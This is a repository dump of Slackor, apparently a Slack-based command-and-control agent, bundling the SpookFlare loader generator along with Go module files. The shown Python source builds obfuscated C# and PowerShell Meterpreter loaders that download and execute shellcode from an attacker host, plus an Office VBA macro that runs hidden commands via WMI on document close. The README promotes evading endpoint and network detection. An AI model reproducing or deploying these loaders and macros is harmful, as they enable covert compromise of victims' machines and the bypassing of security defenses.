├── .gitignore
├── LICENSE
├── README.md
├── SpookFlare
├── .gitignore
├── LICENSE
├── README.md
├── lib
│ ├── __init__.py
│ ├── sfhta.py
│ ├── sfmpbin.py
│ ├── sfmpps.py
│ └── sfvba.py
├── output
│ └── test.spookflare.txt
├── requirements.txt
└── spookflare.py
├── agent.go
├── agent.py
├── dist
└── .gitkeep
├── go.mod
├── go.sum
├── icon.example.ico
├── impacket
├── .gitignore
├── .travis.yml
├── ChangeLog
├── LICENSE
├── MANIFEST.in
├── README.md
├── examples
│ ├── GetADUsers.py
│ ├── GetNPUsers.py
│ ├── GetUserSPNs.py
│ ├── atexec.py
│ ├── dcomexec.py
│ ├── dpapi.py
│ ├── esentutl.py
│ ├── getArch.py
│ ├── getPac.py
│ ├── getST.py
│ ├── getTGT.py
│ ├── goldenPac.py
│ ├── ifmap.py
│ ├── karmaSMB.py
│ ├── lookupsid.py
│ ├── mimikatz.py
│ ├── mqtt_check.py
│ ├── mssqlclient.py
│ ├── mssqlinstance.py
│ ├── netview.py
│ ├── nmapAnswerMachine.py
│ ├── ntfs-read.py
│ ├── ntlmrelayx.py
│ ├── opdump.py
│ ├── ping.py
│ ├── ping6.py
│ ├── psexec.py
│ ├── raiseChild.py
│ ├── rdp_check.py
│ ├── reg.py
│ ├── registry-read.py
│ ├── rpcdump.py
│ ├── sambaPipe.py
│ ├── samrdump.py
│ ├── secretsdump.py
│ ├── services.py
│ ├── smbclient.py
│ ├── smbexec.py
│ ├── smbrelayx.py
│ ├── smbserver.py
│ ├── sniff.py
│ ├── sniffer.py
│ ├── split.py
│ ├── ticketer.py
│ ├── wmiexec.py
│ ├── wmipersist.py
│ └── wmiquery.py
├── impacket
│ ├── Dot11Crypto.py
│ ├── Dot11KeyManager.py
│ ├── ICMP6.py
│ ├── IP6.py
│ ├── IP6_Address.py
│ ├── IP6_Extension_Headers.py
│ ├── ImpactDecoder.py
│ ├── ImpactPacket.py
│ ├── NDP.py
│ ├── __init__.py
│ ├── cdp.py
│ ├── crypto.py
│ ├── dcerpc
│ │ ├── __init__.py
│ │ └── v5
│ │ │ ├── __init__.py
│ │ │ ├── atsvc.py
│ │ │ ├── bkrp.py
│ │ │ ├── dcom
│ │ │ ├── __init__.py
│ │ │ ├── comev.py
│ │ │ ├── oaut.py
│ │ │ ├── scmp.py
│ │ │ ├── vds.py
│ │ │ └── wmi.py
│ │ │ ├── dcomrt.py
│ │ │ ├── dhcpm.py
│ │ │ ├── drsuapi.py
│ │ │ ├── dtypes.py
│ │ │ ├── enum.py
│ │ │ ├── epm.py
│ │ │ ├── even.py
│ │ │ ├── even6.py
│ │ │ ├── lsad.py
│ │ │ ├── lsat.py
│ │ │ ├── mgmt.py
│ │ │ ├── mimilib.py
│ │ │ ├── ndr.py
│ │ │ ├── nrpc.py
│ │ │ ├── rpcrt.py
│ │ │ ├── rprn.py
│ │ │ ├── rrp.py
│ │ │ ├── samr.py
│ │ │ ├── sasec.py
│ │ │ ├── scmr.py
│ │ │ ├── srvs.py
│ │ │ ├── transport.py
│ │ │ ├── tsch.py
│ │ │ └── wkst.py
│ ├── dhcp.py
│ ├── dns.py
│ ├── dot11.py
│ ├── dpapi.py
│ ├── eap.py
│ ├── ese.py
│ ├── examples
│ │ ├── __init__.py
│ │ ├── logger.py
│ │ ├── ntlmrelayx
│ │ │ ├── __init__.py
│ │ │ ├── attacks
│ │ │ │ ├── __init__.py
│ │ │ │ ├── httpattack.py
│ │ │ │ ├── imapattack.py
│ │ │ │ ├── ldapattack.py
│ │ │ │ ├── mssqlattack.py
│ │ │ │ └── smbattack.py
│ │ │ ├── clients
│ │ │ │ ├── __init__.py
│ │ │ │ ├── httprelayclient.py
│ │ │ │ ├── imaprelayclient.py
│ │ │ │ ├── ldaprelayclient.py
│ │ │ │ ├── mssqlrelayclient.py
│ │ │ │ ├── smbrelayclient.py
│ │ │ │ └── smtprelayclient.py
│ │ │ ├── servers
│ │ │ │ ├── __init__.py
│ │ │ │ ├── httprelayserver.py
│ │ │ │ ├── smbrelayserver.py
│ │ │ │ ├── socksplugins
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── http.py
│ │ │ │ │ ├── https.py
│ │ │ │ │ ├── imap.py
│ │ │ │ │ ├── imaps.py
│ │ │ │ │ ├── mssql.py
│ │ │ │ │ ├── smb.py
│ │ │ │ │ └── smtp.py
│ │ │ │ └── socksserver.py
│ │ │ └── utils
│ │ │ │ ├── __init__.py
│ │ │ │ ├── config.py
│ │ │ │ ├── enum.py
│ │ │ │ ├── ssl.py
│ │ │ │ ├── targetsutils.py
│ │ │ │ └── tcpshell.py
│ │ ├── os_ident.py
│ │ ├── remcomsvc.py
│ │ ├── secretsdump.py
│ │ ├── serviceinstall.py
│ │ └── smbclient.py
│ ├── helper.py
│ ├── hresult_errors.py
│ ├── krb5
│ │ ├── __init__.py
│ │ ├── asn1.py
│ │ ├── ccache.py
│ │ ├── constants.py
│ │ ├── crypto.py
│ │ ├── gssapi.py
│ │ ├── kerberosv5.py
│ │ ├── pac.py
│ │ └── types.py
│ ├── ldap
│ │ ├── __init__.py
│ │ ├── ldap.py
│ │ ├── ldapasn1.py
│ │ └── ldaptypes.py
│ ├── mqtt.py
│ ├── nmb.py
│ ├── nt_errors.py
│ ├── ntlm.py
│ ├── pcap_linktypes.py
│ ├── pcapfile.py
│ ├── smb.py
│ ├── smb3.py
│ ├── smb3structs.py
│ ├── smbconnection.py
│ ├── smbserver.py
│ ├── spnego.py
│ ├── structure.py
│ ├── system_errors.py
│ ├── tds.py
│ ├── uuid.py
│ ├── version.py
│ ├── winregistry.py
│ └── wps.py
├── requirements.txt
├── setup.py
├── tests
│ ├── ImpactPacket
│ │ ├── __init__.py
│ │ ├── runalltestcases.bat
│ │ ├── runalltestcases.sh
│ │ ├── test_ICMP6.py
│ │ ├── test_IP6.py
│ │ ├── test_IP6_Address.py
│ │ ├── test_IP6_Extension_Headers.py
│ │ ├── test_TCP.py
│ │ ├── test_TCP_bug_issue7.py
│ │ └── test_ethernet.py
│ ├── SMB_RPC
│ │ ├── __init__.py
│ │ ├── dcetests.cfg
│ │ ├── rundce.sh
│ │ ├── test_bkrp.py
│ │ ├── test_dcomrt.py
│ │ ├── test_dhcpm.py
│ │ ├── test_drsuapi.py
│ │ ├── test_epm.py
│ │ ├── test_even.py
│ │ ├── test_even6.py
│ │ ├── test_fasp.py
│ │ ├── test_ldap.py
│ │ ├── test_lsad.py
│ │ ├── test_lsat.py
│ │ ├── test_mgmt.py
│ │ ├── test_mimilib.py
│ │ ├── test_ndr.py
│ │ ├── test_nmb.py
│ │ ├── test_nrpc.py
│ │ ├── test_ntlm.py
│ │ ├── test_rpcrt.py
│ │ ├── test_rprn.py
│ │ ├── test_rrp.py
│ │ ├── test_samr.py
│ │ ├── test_scmr.py
│ │ ├── test_secretsdump.py
│ │ ├── test_smb.py
│ │ ├── test_spnego.py
│ │ ├── test_srvs.py
│ │ ├── test_tsch.py
│ │ ├── test_wkst.py
│ │ └── test_wmi.py
│ ├── coveragerc
│ ├── dot11
│ │ ├── runalltestcases.bat
│ │ ├── runalltestcases.sh
│ │ ├── test_Dot11Base.py
│ │ ├── test_Dot11Decoder.py
│ │ ├── test_Dot11HierarchicalUpdate.py
│ │ ├── test_FrameControlACK.py
│ │ ├── test_FrameControlCFEnd.py
│ │ ├── test_FrameControlCFEndCFACK.py
│ │ ├── test_FrameControlCTS.py
│ │ ├── test_FrameControlPSPoll.py
│ │ ├── test_FrameControlRTS.py
│ │ ├── test_FrameData.py
│ │ ├── test_FrameManagement.py
│ │ ├── test_FrameManagementAssociationRequest.py
│ │ ├── test_FrameManagementAssociationResponse.py
│ │ ├── test_FrameManagementAuthentication.py
│ │ ├── test_FrameManagementDeauthentication.py
│ │ ├── test_FrameManagementDisassociation.py
│ │ ├── test_FrameManagementProbeRequest.py
│ │ ├── test_FrameManagementProbeResponse.py
│ │ ├── test_FrameManagementReassociationRequest.py
│ │ ├── test_FrameManagementReassociationResponse.py
│ │ ├── test_RadioTap.py
│ │ ├── test_RadioTapDecoder.py
│ │ ├── test_WEPDecoder.py
│ │ ├── test_WEPEncoder.py
│ │ ├── test_WPA.py
│ │ ├── test_WPA2.py
│ │ ├── test_helper.py
│ │ └── test_wps.py
│ ├── misc
│ │ ├── runalltestcases.bat
│ │ ├── runalltestcases.sh
│ │ ├── test_crypto.py
│ │ ├── test_dcerpc_v5_ndr.py
│ │ ├── test_dns.py
│ │ ├── test_dpapi.py
│ │ ├── test_ip6_address.py
│ │ ├── test_krb5_crypto.py
│ │ └── test_structure.py
│ ├── runall.sh
│ └── walkmodules.py
└── tox.ini
├── install.sh
├── internal
├── config
│ └── vars.go
├── crypto
│ ├── decrypt.go
│ └── encrypt.go
├── doc.go
└── slack
│ ├── register.go
│ ├── send.go
│ └── upload.go
├── pkg
├── README.md
├── command
│ └── command.go
├── common
│ ├── beacon.go
│ ├── cat.go
│ ├── cat_test.go
│ ├── cd.go
│ ├── clipboard.go
│ ├── doctor.go
│ ├── download.go
│ ├── find.go
│ ├── find_test.go
│ ├── getip.go
│ ├── getuid.go
│ ├── hostname.go
│ ├── ifconfig.go
│ ├── kill.go
│ ├── ls.go
│ ├── ls_test.go
│ ├── mkdir.go
│ ├── pwd.go
│ ├── pwd_test.go
│ ├── revive.go
│ ├── rm.go
│ ├── rmdir.go
│ ├── screenshot.go
│ ├── sleep.go
│ ├── testdata
│ │ ├── cat
│ │ │ ├── a.txt
│ │ │ └── subdir
│ │ │ │ └── b.txt
│ │ └── find
│ │ │ ├── a.txt
│ │ │ ├── b.pem
│ │ │ ├── c.key
│ │ │ └── subdir
│ │ │ └── d.pem
│ ├── upload.go
│ └── whoami.go
├── darwin
│ ├── .gitkeep
│ ├── execute.go
│ ├── sysinfo.go
│ └── version.go
├── doc.go
├── linux
│ ├── .gitkeep
│ ├── execute.go
│ ├── sysinfo.go
│ └── version.go
└── windows
│ ├── check_admin.go
│ ├── cleanup.go
│ ├── const.go
│ ├── defanger.go
│ ├── duplicate.go
│ ├── elevate.go
│ ├── execute.go
│ ├── get_system.go
│ ├── keyscan.go
│ ├── metasploit.go
│ ├── minidump.go
│ ├── persist.go
│ ├── samdump.go
│ ├── shellcode.go
│ ├── sysinfo.go
│ └── version.go
├── requirements.txt
├── server.py
├── setup.py
├── versioninfo.example.json
└── versioninfo.example.manifest
/.gitignore:
--------------------------------------------------------------------------------
1 | dist/agent.32.linux
2 | dist/agent.64.linux
3 | dist/agent.darwin
4 | dist/agent.upx.exe
5 | dist/agent.windows.exe
6 | slackor.db
7 | resource.syso
8 | versioninfo.json
9 | versioninfo.manifest
10 | icon.ico
11 |
--------------------------------------------------------------------------------
/SpookFlare/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__/
2 | *.pyc
3 |
--------------------------------------------------------------------------------
/SpookFlare/README.md:
--------------------------------------------------------------------------------
1 | # SpookFlare
2 |
3 |
4 |

5 |
6 | SpookFlare has a different perspective to bypass security measures and it gives you the opportunity to bypass the endpoint countermeasures at the client-side detection and network-side detection. SpookFlare is a loader/dropper generator for Meterpreter, Empire, Koadic etc. SpookFlare has obfuscation, encoding, run-time code compilation and character substitution features. So you can bypass the countermeasures of the target systems like a boss until they "learn" the technique and behavior of SpookFlare payloads.
7 |
8 | * Obfuscation
9 | * Encoding
10 | * Run-time Code Compiling
11 | * Character Substitution
12 | * Patched Meterpreter Stage Support
13 | * Blocked powershell.exe Bypass
14 |
15 | ```
16 | ___ ___ ___ ___ _ _____ _ _ ___ ___
17 | / __| _ \/ _ \ / _ \| |/ / __| | /_\ | _ \ __|
18 | \__ \ _/ (_) | (_) | ' <| _|| |__ / _ \| / _|
19 | |___/_| \___/ \___/|_|\_\_| |____/_/ \_\_|_\___|
20 |
21 | Version : 2.0
22 | Author : Halil Dalabasmaz
23 | WWW : artofpwn.com, spookflare.com
24 | Twitter : @hlldz
25 | Github : @hlldz
26 | Licence : Apache License 2.0
27 | Note : Stay in shadows!
28 |
29 | [*] You can use "help" command for access help section.
30 |
31 | SpookFlare > list
32 |
33 | ID | Payload | Description
34 | ----+------------------------+------------------------------------------------------------
35 | 1 | meterpreter/binary | .EXE Meterpreter Reverse HTTP and HTTPS loader
36 | 2 | meterpreter/powershell | PowerShell based Meterpreter Reverse HTTP and HTTPS loader
37 | 3 | javascript/hta | .HTA loader with .HTML extension for specific command
38 | 4 | vba/macro | Office Macro loader for specific command
39 |
40 | ```
41 |
42 | ## Installation
43 | ```
44 | # git clone https://github.com/hlldz/SpookFlare.git
45 | # cd SpookFlare
46 | # pip install -r requirements.txt
47 | ```
48 |
49 | ## Technical Details
50 | https://artofpwn.com/spookflare.html
51 |
52 | ## Usage Videos and Tutorials
53 | * SpookFlare HTA Loader for Koadic: https://youtu.be/6OyZuyIbRLU
54 | * SpookFlare PowerShell/VBA Loaders for Meterpreter: https://youtu.be/xFBRZz78U_M
55 | * v1.0 Usage Video: https://www.youtube.com/watch?v=p_eKKVoEl0o
56 |
57 | ### Note
58 | I developed the SpookFlare and technique for use in penetration tests, red team engagements and it is purely educational. Please use with responsibility and stay in shadows!
59 |
60 | ### Acknowledgements and References
61 | Special thanks to the following projects and contributors.
62 | * https://github.com/rapid7/metasploit-framework
63 | * https://github.com/zerosum0x0/koadic
64 | * https://github.com/EmpireProject/Empire
65 | * https://github.com/Veil-Framework/Veil
66 | * https://github.com/nccgroup/demiguise
67 |
--------------------------------------------------------------------------------
/SpookFlare/lib/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/SpookFlare/lib/sfmpbin.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import random
3 | import string
4 | import base64
5 | from base64 import b64encode
6 |
7 | def randomString():
8 | return ''.join([random.choice(string.ascii_letters) for n in range(12)])
9 |
10 | def checksum8(s):
11 | return sum([ord(ch) for ch in s]) % 0x100
12 |
13 | def genHTTPChecksum():
14 | chk = string.ascii_letters + string.digits
15 | for x in range(64):
16 | uri = "".join(random.sample(chk,3))
17 | r = "".join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))
18 | for char in r:
19 | if checksum8(uri + char) == 92:
20 | return uri + char
21 |
22 | def generateMPBinLoader(mpBinProto, mpBinLhost, mpBinLport, mpBinArch, mpBinSsize):
23 |
24 | if mpBinProto == "https":
25 | mpBinSSLChk = "ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, sslPolicyErrors) => true;"
26 | else:
27 | mpBinSSLChk = ""
28 |
29 | if mpBinArch == "x86":
30 | mpBinArch = "UInt32"
31 | elif mpBinArch == "x64":
32 | mpBinArch = "UInt64"
33 |
34 | mpBinNSpace = randomString()
35 | mpBinLClass = randomString()
36 | loaderHost = mpBinProto+"://"+mpBinLhost+":"+mpBinLport+"/"+genHTTPChecksum()
37 | loaderBase = '''using System;using System.Net;using System.Runtime.InteropServices; namespace {24} {{ public class {25} {{ [DllImport ("kernel32")] private static extern {23} VirtualAlloc ({23} {0}, {23} {1}, {23} {2}, {23} {3}); [DllImport ("kernel32")] private static extern IntPtr CreateThread ({23} {4}, {23} {5}, {23} {6}, IntPtr {7}, {23} {8}, ref {23} {9}); [DllImport ("kernel32")] private static extern {23} WaitForSingleObject (IntPtr {10}, {23} {11}); [DllImport ("kernel32.dll")] static extern IntPtr GetConsoleWindow (); [DllImport ("user32.dll")] static extern bool ShowWindow (IntPtr {12}, int {13}); public static void Main () {{ShowWindow (GetConsoleWindow (), 0);{14}WebClient {15} = new System.Net.WebClient ();{15}.Headers.Add ("User-Agent", "Mozilla/5.0 (compatible; MSIE 11.0; Trident/7.0; rv:11.0)");{15}.Headers.Add ("Accept", "*/*");{15}.Headers.Add ("Accept-Language", "en-gb,en;q=0.5");byte[] {16} = null;{16} = {15}.DownloadData ("{26}");byte[] {17} = new byte[{16}.Length - {18}];Array.Copy ({16}, {18}, {17}, 0, {17}.Length);{23} {19} = VirtualAlloc (0, ({23}) {17}.Length, 0x1000, 0x40);Marshal.Copy ({17}, 0, (IntPtr) ({19}), {17}.Length);IntPtr {20} = IntPtr.Zero;{23} {21} = 0;IntPtr {22} = IntPtr.Zero;{20} = CreateThread (0, 0, {19}, {22}, 0, ref {21});WaitForSingleObject ({20}, 0xFFFFFFFF);}}}}}}'''.format(randomString(), randomString(), randomString(), randomString(),randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), mpBinSSLChk, randomString(), randomString(), randomString(), mpBinSsize, randomString(), randomString(), randomString(), randomString(), mpBinArch, mpBinNSpace, mpBinLClass, loaderHost)
38 | loaderKey = (''.join(random.sample("hlldzé!^+%&/()=?_<>£#$[]|",len("hlldzé!^+%&/()=?_<>£#$[]|")))[0:3])
39 | loaderCode = loaderKey.join([loaderBase[i:i+1] for i in range(0, len(loaderBase), 1)]).replace("\"", "\\\"")
40 | loaderFinal = '''using System;using System.CodeDom.Compiler;using System.Reflection;using Microsoft.CSharp;namespace {0} {{public class {1} {{public static void Main () {{string {2} = "{3}".Replace("{4}", "");CSharpCodeProvider {5} = new CSharpCodeProvider ();CompilerParameters {6} = new CompilerParameters (new [] {{"mscorlib.dll", "System.dll"}});{6}.GenerateInMemory = true;{6}.ReferencedAssemblies.Add (Assembly.GetEntryAssembly ().Location);CompilerResults {7} = {5}.CompileAssemblyFromSource ({6}, {2});Assembly {8} = {7}.CompiledAssembly;Type {9} = {8}.GetType ("{10}.{11}");MethodInfo {12} = {9}.GetMethod ("Main");{12}.Invoke (null, null);}}}}}}'''.format(randomString(), randomString(), randomString(), loaderCode, loaderKey, randomString(), randomString(), randomString(), randomString(), randomString(), mpBinNSpace, mpBinLClass, randomString())
41 | return loaderFinal
42 |
--------------------------------------------------------------------------------
/SpookFlare/lib/sfmpps.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import random
3 | import string
4 | import base64
5 | from base64 import b64encode
6 |
7 | def randomString():
8 | return ''.join([random.choice(string.ascii_letters) for n in range(12)])
9 |
10 | def checksum8(s):
11 | return sum([ord(ch) for ch in s]) % 0x100
12 |
13 | def genHTTPChecksum():
14 | chk = string.ascii_letters + string.digits
15 | for x in range(64):
16 | uri = "".join(random.sample(chk,3))
17 | r = "".join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))
18 | for char in r:
19 | if checksum8(uri + char) == 92:
20 | return uri + char
21 |
22 | def generateMPPSLoader(mpProto, mpLhost, mpLport, mpArch, mpSsize):
23 | if mpArch == "x86":
24 | mpArch = "ToInt32"
25 | mpDef = "UInt32"
26 | elif mpArch == "x64":
27 | mpArch = "ToInt64"
28 | mpDef = "UInt64"
29 |
30 | if mpProto == "https":
31 | mpPSSSLChk = "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}"
32 | else:
33 | mpPSSSLChk = ""
34 |
35 | loaderHost = mpProto+"://"+mpLhost+":"+mpLport+"/"+genHTTPChecksum()
36 | baseMetPs = '''${0} = @"
37 | [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, {8} dwSize, {8} flAllocationType, {8} flProtect);
38 | [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, {8} dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, {8} dwCreationFlags, IntPtr lpThreadId);
39 | [DllImport("kernel32.dll")] public static extern {8} WaitForSingleObject(IntPtr hHandle, {8} dwMilliseconds);
40 | "@;
41 | {10}
42 | ${1} = New-Object "`N`et.`W`ebc`l`i`ent";${1}.Headers.Add("User-Agent", "Mozilla/5.0 (compatible; MSIE 11.0; Trident/7.0; rv:11.0)");${1}.Headers.Add("Accept", "*/*");${1}.Headers.Add("Accept-Language", "en-gb,en;q=0.5");[Byte[]] ${2} = ${1}."D`o`wn`l`oa`d`Data"("{9}");${3} = New-Object byte[] (${2}.Length - {4});[Array]::Copy(${2}, {4}, ${3}, 0, (${2}.Length - {4}));${5} = A`d`d-T`y`p`e -memberDefinition ${0} -Name "Win32" -namespace `W`in`3`2`F`un`ct`i`on`s -passthru;${6}=${5}::VirtualAlloc(0,${3}.Length,0x3000,0x40);[Runtime.InteropServices.Marshal]::Copy(${3}, 0, [IntPtr](${6}.{7}()), ${3}.Length);${5}::CreateThread(0,0,${6},0,0,0) | oUT-NuLl;`S`T`A`R`T-`S`l`e`E`p -s `8`6`4`2`0'''
43 |
44 | loaderFinal = baseMetPs.format(randomString(), randomString(), randomString(), randomString(), mpSsize, randomString(), randomString(), mpArch, mpDef, loaderHost, mpPSSSLChk)
45 | return loaderFinal
46 |
47 | def generateMPPSCsharpLoader(mpPsCode):
48 | mCsharpCode = '''using System;
49 | using System.IO; using System.Diagnostics; using System.Reflection; using System.Runtime.InteropServices; using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Text;
50 | public class {0} {{
51 | public static void Main() {{
52 | byte[] {1} = Convert.FromBase64String("{6}");
53 | string {2} = Encoding.UTF8.GetString({1});
54 | Runspace {3} = RunspaceFactory.CreateRunspace();
55 | {3}.Open();
56 | RunspaceInvoke {4} = new RunspaceInvoke({3});
57 | Pipeline {5} = {3}.CreatePipeline();
58 | {5}.Commands.AddScript({2});
59 | {5}.Invoke();
60 | {3}.Close();
61 | return;
62 | }}
63 | }}'''
64 |
65 | loaderFinal = mCsharpCode.format(randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), b64encode(mpPsCode.encode()))
66 | return loaderFinal
67 |
--------------------------------------------------------------------------------
/SpookFlare/lib/sfvba.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import random
3 | import string
4 | import base64
5 |
6 | def randomString():
7 | return ''.join([random.choice(string.ascii_letters) for n in range(12)])
8 |
9 | def generateKey():
10 | keys = "!#+%&/()=?_-*[]{}$><"
11 | return ''.join(random.sample(keys,len(keys)))
12 |
13 | def generateCmd(vbaKey, vbaCommand):
14 | return vbaKey.join([vbaCommand[i:i+1] for i in range(0, len(vbaCommand), 1)])
15 |
16 | def generateVBALauncher(vbaFileType, vbaCommand, vbaMetaName):
17 |
18 | if vbaFileType == "word":
19 | vbaFileType = "ActiveDocument"
20 | elif vbaFileType == "excel":
21 | vbaFileType = "ActiveWorkbook"
22 | elif vbaFileType == "powerpoint":
23 | vbaFileType = "ActivePresentation"
24 |
25 | if vbaMetaName == "Comments":
26 | vbaMetaName = "C\"&\"o\"&\"m\"&\"m\"&\"e\"&\"n\"&\"t\"&\"s"
27 | elif vbaMetaName == "Company":
28 | vbaMetaName = "C\"&\"o\"&\"m\"&\"p\"&\"a\"&\"n\"&\"y"
29 |
30 | vbaCommandKey = generateKey()
31 | vbaBaseCmd = generateCmd(vbaCommandKey, vbaCommand)
32 | vbaBaseCode = '''Sub Auto_Close()
33 | {0}
34 | End Sub
35 |
36 | Sub AutoClose()
37 | {0}
38 | End Sub
39 |
40 | Public Function {0}() As Variant
41 | Dim {1} As DocumentProperty
42 | For Each {1} In {8}.BuiltInDocumentProperties
43 | If {1}.Name = "{10}" Then
44 | Dim {2} As String
45 | {2} = Replace({1}.Value, "{9}", "")
46 | Const HIDDEN_WINDOW = 0
47 | Set {3} = GetObject("w"&"i"&"n"&"m"&"g"&"m"&"t"&"s"&":"&"\\"&"\\"&"."&"\\"&"r"&"o"&"o"&"t"&"\\"&"c"&"i"&"m"&"v"&"2")
48 | Set {4} = {3}.Get("W"&"i"&"n"&"3"&"2"&"_"&"P"&"r"&"o"&"c"&"e"&"s"&"s"&"S"&"t"&"a"&"r"&"t"&"u"&"p")
49 | Set {5} = {4}.SpawnInstance_
50 | {5}.ShowWindow = HIDDEN_WINDOW
51 | Set {6} = GetObject("w"&"i"&"n"&"m"&"g"&"m"&"t"&"s"&":"&"\\"&"\\"&"."&"\\"&"r"&"o"&"o"&"t"&"\\"&"c"&"i"&"m"&"v"&"2"&":"&"W"&"i"&"n"&"3"&"2"&"_"&"P"&"r"&"o"&"c"&"e"&"s"&"s")
52 | {6}.Create {2}, Null, {5}, {7}
53 | End If
54 | Next
55 | End Function'''
56 |
57 | loaderFinal = "'\n'Insert the following string to \""+vbaMetaName.replace("\"&\"", "")+"\" meta data section of file:\n'" + vbaBaseCmd + "\n'\n\n"
58 | loaderFinal += vbaBaseCode.format(randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), vbaFileType, vbaCommandKey, vbaMetaName)
59 | return loaderFinal
60 |
--------------------------------------------------------------------------------
/SpookFlare/output/test.spookflare.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/SpookFlare/requirements.txt:
--------------------------------------------------------------------------------
1 | terminaltables
2 |
--------------------------------------------------------------------------------
/dist/.gitkeep:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/n00py/Slackor/d007fcea174090f1a8e61c20b95c41937296928a/dist/.gitkeep
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/n00py/Slackor
2 |
3 | go 1.12
4 |
5 | require (
6 | github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802 // indirect
7 | github.com/akavel/rsrc v0.8.0 // indirect
8 | github.com/atotto/clipboard v0.1.2
9 | github.com/bmatcuk/doublestar v1.1.3
10 | github.com/dustin/go-humanize v1.0.0
11 | github.com/gen2brain/shm v0.0.0-20180314170312-6c18ff7f8b90 // indirect
12 | github.com/josephspurrier/goversioninfo v0.0.0-20190209210621-63e6d1acd3dd // indirect
13 | github.com/kbinani/screenshot v0.0.0-20190719135742-f06580e30cdc
14 | github.com/lxn/win v0.0.0-20190716185335-d1d36f0e4f48 // indirect
15 | github.com/mattn/go-shellwords v1.0.5
16 | github.com/miekg/dns v1.1.15
17 | github.com/stretchr/testify v1.3.0
18 | golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4 // indirect
19 | golang.org/x/net v0.0.0-20190628185345-da137c7871d7 // indirect
20 | golang.org/x/sys v0.0.0-20190712062909-fae7ac547cb7
21 | )
22 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802 h1:1BDTz0u9nC3//pOCMdNH+CiXJVYJh5UQNCOBG7jbELc=
2 | github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
3 | github.com/akavel/rsrc v0.8.0 h1:zjWn7ukO9Kc5Q62DOJCcxGpXC18RawVtYAGdz2aLlfw=
4 | github.com/akavel/rsrc v0.8.0/go.mod h1:uLoCtb9J+EyAqh+26kdrTgmzRBFPGOolLWKpdxkKq+c=
5 | github.com/atotto/clipboard v0.1.2 h1:YZCtFu5Ie8qX2VmVTBnrqLSiU9XOWwqNRmdT3gIQzbY=
6 | github.com/atotto/clipboard v0.1.2/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI=
7 | github.com/bmatcuk/doublestar v1.1.3 h1:S4Ka/fLvUtm+5TqKuByWyuGenBjTP8w+Z/GpQIWB9Yg=
8 | github.com/bmatcuk/doublestar v1.1.3/go.mod h1:wiQtGV+rzVYxB7WIlirSN++5HPtPlXEo9MEoZQC/PmE=
9 | github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
10 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
11 | github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=
12 | github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
13 | github.com/gen2brain/shm v0.0.0-20180314170312-6c18ff7f8b90 h1:QagTG5rauLt6pVVEhnVSrlIX4ifhVIZOwmw6x6D8TUw=
14 | github.com/gen2brain/shm v0.0.0-20180314170312-6c18ff7f8b90/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
15 | github.com/josephspurrier/goversioninfo v0.0.0-20190209210621-63e6d1acd3dd h1:KikNiFwUO3QLyeKyN4k9yBH9Pcu/gU/yficWi61cJIw=
16 | github.com/josephspurrier/goversioninfo v0.0.0-20190209210621-63e6d1acd3dd/go.mod h1:eJTEwMjXb7kZ633hO3Ln9mBUCOjX2+FlTljvpl9SYdE=
17 | github.com/kbinani/screenshot v0.0.0-20190719135742-f06580e30cdc h1:kGFotla6Dyr6a2ILeExAHlttPgJtnoP/GIw2uVN/4h4=
18 | github.com/kbinani/screenshot v0.0.0-20190719135742-f06580e30cdc/go.mod h1:f8GY5V3lRzakvEyr49P7hHRYoHtPr8zvj/7JodCoRzw=
19 | github.com/lxn/win v0.0.0-20190716185335-d1d36f0e4f48 h1:J2doxiYgOxforcFE2tj6KyLIDF+fBUODRUVNf0EVdnI=
20 | github.com/lxn/win v0.0.0-20190716185335-d1d36f0e4f48/go.mod h1:oO6+4g3P1GcPAG7LPffwn8Ye0cxW0goh0sUZ6+lRFPs=
21 | github.com/mattn/go-shellwords v1.0.5 h1:JhhFTIOslh5ZsPrpa3Wdg8bF0WI3b44EMblmU9wIsXc=
22 | github.com/mattn/go-shellwords v1.0.5/go.mod h1:3xCvwCdWdlDJUrvuMn7Wuy9eWs4pE8vqg+NOMyg4B2o=
23 | github.com/miekg/dns v1.1.15 h1:CSSIDtllwGLMoA6zjdKnaE6Tx6eVUxQ29LUgGetiDCI=
